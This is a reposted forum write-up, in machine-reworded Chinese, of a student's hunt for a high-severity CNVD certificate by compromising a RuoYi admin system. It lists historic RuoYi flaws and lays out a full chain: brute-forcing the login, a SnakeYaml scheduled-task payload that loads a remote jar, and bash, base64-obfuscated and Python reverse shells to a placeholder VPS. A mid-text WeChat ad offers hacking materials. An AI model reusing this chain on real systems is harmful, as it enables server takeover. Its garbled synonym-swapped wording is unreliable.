ToB企服应用市场:ToB评测及商务社交产业平台

标题: 记录一次cnvd事件型证书毛病挖掘 [打印本页]

作者: 宝塔山    时间: 2024-5-28 13:49
标题: 记录一次cnvd事件型证书毛病挖掘
事件因由是由于要搞毕设了,在为这个苦恼,突然负责毕设的老师说得到cnvd下发的证书结合你的毛病挖掘的过程是可以当成毕设的,其时又学习了一段时间的web渗透方面的知识,于是踏上了废寝忘食的cnvd证书毛病挖掘的日子。
前言:听群友们说,一样平常可以获得cnvd事件型的证书要三大运营商、铁塔的毛病,而且必须要高危的毛病才可以获得证书,低危和中危都没有证书,交上去只能得到cnvd的毛病编号,于是就朝着三大运营商、铁塔的高危毛病去挖掘。
一、信息收集

信息收集的目标是了解目标的基本环境,包括网络拓扑结构、体系架构、运行的服务和应用程序、已知毛病、潜伏安全风险等。通过信息收集,渗透测试人员可以获得对目标的深入了解,从而确定可能的攻击矢量和毛病利用路径,为后续的渗透测试工作做准备。
1、我一样平常先用奇安信的鹰图平台,使用里面搜索引擎的特定的语法搜索我要找的单位名大概关键字,精准定位。
鹰图平台:https://hunter.qianxin.com/
颠末一段时间的换各种关键字的搜索,终于发现了一个看着体系界面比较眼熟的界面,原谅我的厚码。。。
[img=720,170.18813314037627]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511846.png[/img]

看着大概率是若依框架。
[img=720,359.71875]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511847.png[/img]

确定为vue前后端分离的若依管理体系。

二、历史毛病分析

确定了这个体系是基于SpringBoot,Spring Security,JWT,Vue & Element 的前后端分离权限管理体系。
这是我第一次挖掘关于若依vue框架的体系,以前遇到的都是基于SpringBoot的权限管理体系,核心技术采用Spring、MyBatis、Shiro。
让我们先来看看若依的历史毛病息争析:若依框架是一个 Java EE 企业级快速开辟平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、体系参数、日记管理、通知公告等。在线定时任务设置;支持集群,支持多数据源,支持分布式事件。若依框架毛病默认口令毛病早期若依框架毛病版本有反序列化毛病 ,执行任意命令。
若依后台管理体系是基于SpringBoot、Spring Security、JWT、Vue & Element 的前后端分离权限管理体系,可用于包含网站管理后台、网站会员中心、CMS、CRM、OA等、的Web应用程序。若依后台管理体系存在未授权访问和文件上传高危毛病,攻击者可利用该毛病获取服务器控制权。
【----资助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC毛病分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证测验指南+题库
 ⑥ 超1800页CTF实战本领手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
比较常见的历史毛病:
1、前端存储账号密码或默认弱口令admin/admin123
2、Druid页面未授权访问
http://xxx//prod-api/druid/index.html
http://xxx//dev-api/druid/index.html
http://xxx//api/druid/index.html
http://xxx//admin/druid/index.html
http://xxx//admin-api/druid/index.html
3、后台任意文件读取http://xxx/common/download/resource?resource/profile/…/…/…/…/etc/passwd
4、后台SQL注入毛病位置在"体系管理"里中的"角色管理中"http://xxxxxxx/system/role/listhttp://xxxxxxx/system/dept/edithttp://xxxxxxx/system/role/exporthttp://xxxxxxx/tool/gen/createTable
5、shiro反序列化
若依管理体系使用了Apache Shiro,Shiro 提供了记住我(RememberMe)的功能,下次访问时无需再登录即可访问。体系将密钥硬编码在代码里,且在官方文档中并没有强调修改该密钥,导致框架使用者大多数都使用了默认密钥。
攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe举行解密并且反序列化,终极造成反序列化毛病,进而在目标呆板上执行任意命令。
众所周知的,网上大把工具撸就完事了https://github.com/SummerSec/ShiroAttack2
6、SnakeYaml组件毛病-定时任务-RCE
定时任务对于传入的"调用目标字符串"没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。
RuoYi 触发 SnakeYaml 反序列化毛病的毛病点。毛病点在后台 体系监控 > 定时任务 处,可以调用类的方法
体系会调用 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 方法来处理体系任务
首先会获取需要执行的目标,即我们的 payload,再获取实例名和方法名以及方法参数
然后判断实例名是否是 带完全包名称的类名,如果不是的话,则调用 SpringUtils.getBean(beanName) 获得实例;如果是的话,则使用 Class.forName(beanName).newInstance() 获得实例
最后调用 invokeMethod(SysJob sysJob) 方法实现方法的调用
  1. public static void invokeMethod(SysJob sysJob) throws Exception  
  2.    {  
  3.        String invokeTarget \= sysJob.getInvokeTarget();  
  4.        String beanName \= getBeanName(invokeTarget);      
  5.        String methodName \= getMethodName(invokeTarget);  
  6.        List<Object\[\]> methodParams \= getMethodParams(invokeTarget);  
  7.        if (!isValidClassName(beanName))  
  8.        {  
  9.            Object bean \= SpringUtils.getBean(beanName);  
  10.            invokeMethod(bean, methodName, methodParams);  
  11.        }  
  12.        else  
  13.        {  
  14.            Object bean \= Class.forName(beanName).newInstance();  
  15.            invokeMethod(bean, methodName, methodParams);  
  16.        }  
  17.    }  
复制代码
[img=720,560.1063829787234]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511849.png[/img]

跟进 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 可以看到这里通过 getDeclaredMethod 获得了类的方法,然后通过反射执行方法。
[img=720,330.21276595744683]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511850.png[/img]

当我们传入的类名为完全包名称,需要满足三个条件才气正常使用
而 org.yaml.snakeyaml.Yaml 是符合这些条件的,我们可以利用这个点去触发 SnakeYaml 反序列化毛病。
三、正戏开始

要获得证书就得要挖掘到高危的毛病,若依vue框架是没有shiro反序列化的,以是得进入后台去挖掘定时任务的RCE。
1、回到之前的找到若依的登录框,上来肯定是试一试默认的弱口令admin123。不出不测密码错误了
[img=720,631.2]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511851.png[/img]

2、测试了一下,没有密码输入错误次数上限,就是输入错多少次都可以,也没有验证码验证登录,不用多说了,爆破启动!!!
抱着试一试的态度,没想到真滴爆出来了
[img=720,367.7770034843206]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511852.png[/img]


究竟是第一次打若依vue框架的,我就把上面提到的毛病都测试了一遍,没一个成功的(除了定时任务-RCE的毛病没测试)。。。。。
3、我先去网上欣赏一阵子的若依后台定时任务调用类的方法RCE的文章,开搞!!!
首先先去Github上面找到大佬写好的项目生成恶意jar包:https://github.com/artsploit/yaml-payload先修改项目源码文件 src/artsploit/AwesomeScriptEngineFactory.java 执行Linux反弹shell命令
修改AwesomeScriptEngineFactory.java格式:
  1. Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/vps监听端口 0>&1"});
复制代码
[img=720,534.5347698334966]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511854.png[/img]

在yaml-payload-master文件夹目次下编译AwesomeScriptEngineFactory.java文件
javac .\src\artsploit\AwesomeScriptEngineFactory.java
[img=720,106.7131647776809]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511855.png[/img]

得到编译好的AwesomeScriptEngineFactory.class文件
[img=720,93.82239382239382]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511856.png[/img]

把src目次打包成yaml-payload.jar文件
jar -cvf yaml-payload.jar -C .\src\ .
[img=720,110.76923076923077]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511857.png[/img]

[img=720,125.79310344827586]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511858.png[/img]

把打包好的yaml-payload.jar上传到vps上面,使用python命令开启暂时的http网站:`python -m SimpleHTTPServer 8880

测试访问vps开启的网站

在vps上面使用nc监听设定的端口,反弹shell

回到若依体系后台,使用爆破出来的账号密码登录,进入体系监控-->定时任务-->新增,添加计划任务。
[img=720,203.36996336996336]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511862.png[/img]

调用方法也没有什么限制,可以直接使用http。任务名随便写,调用方法:org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager \[ !!java.net.URLClassLoader \[\[ !!java.net.URL \["http://httpIP/yaml-payload.jar"\] \]\] \]')
cron表达式:0/10 \* \* \* \* ?
点击确定
[img=720,197.02801461632157]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511863.png[/img]

在多执行频频刚刚设置好的定时任务
[img=720,198.83211678832117]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511864.png[/img]

在我满心欢乐的以为成功的时间,现实却给我当头一棒,nc监听一直没有动静,啊啊啊啊啊啊啊啊啊。。。。。又去多执行了频频也没有反弹到shell

去看刚刚vps使用python开启的http,没有访问响应gg。
[img=720,80.5524861878453]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511866.png[/img]

想了想会不会是命令被体系拦截了大概是AwesomeScriptEngineFactory.java文件里面的命令错误执行不了。于是又去换了一种方式的反弹shell命令
重新修改AwesomeScriptEngineFactory.java格式:使用base64编码这个命令:bash -i >& /dev/tcp/vpsIP/vps监听端口 0>&1base64编码后的命令:YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJUC92cHPnm5HlkKznq6/lj6MgMD4mMQ==AwesomeScriptEngineFactory.java格式:Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJUC92cHPnm5HlkKznq6/lj6MgMD4mMQ==}|{base64,-d}|{bash,-i}");
[img=720,450.3703703703704]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511867.png[/img]

再按照上面的方法编译一遍,然后再打包成jar文件,再次上传到vps里面,把之前的删掉。
返回到若依管理体系,再次执行频频定时任务,不用更改。。。让命令飘一会。
pleasantly surprised。。。。gg了。

四、柳暗花明

我以为要下播的时间,去上了个厕所。。。。回来突然有灵感想到可不可以使用python命令来执行反弹shell命令呢,现在的服务器linux服务器基本都是自带python的,说干就干。
继承修改AwesomeScriptEngineFactory.java文件使用python的特性构造payload,修改的格式:Runtime.getRuntime().exec(new String\[\]{"python","-c","import os,socket,subprocess;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(('vpsIP',vps监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\['/bin/bash','-i'\]);"});
如下图:
[img=720,422.2354694485842]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511869.png[/img]

继承执行之前的步骤,按照上面的方法编译一遍,然后再打包成jar文件,再次上传到vps里面,把之前的删掉。
回到若依管理体系继承执行我们写入的定时任务。
结果芜湖!!!成功成功。
[img=720,218.42696629213484]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511870.png[/img]

咱也不知道为什么。没拦截python?
最后也是通过了cnvd的事件型高危
[img=720,659.0389016018306]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241511871.png[/img]

毛病已上报厂家,厂家已修复。
修复建议:升级Ruoyi至最新版本。
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4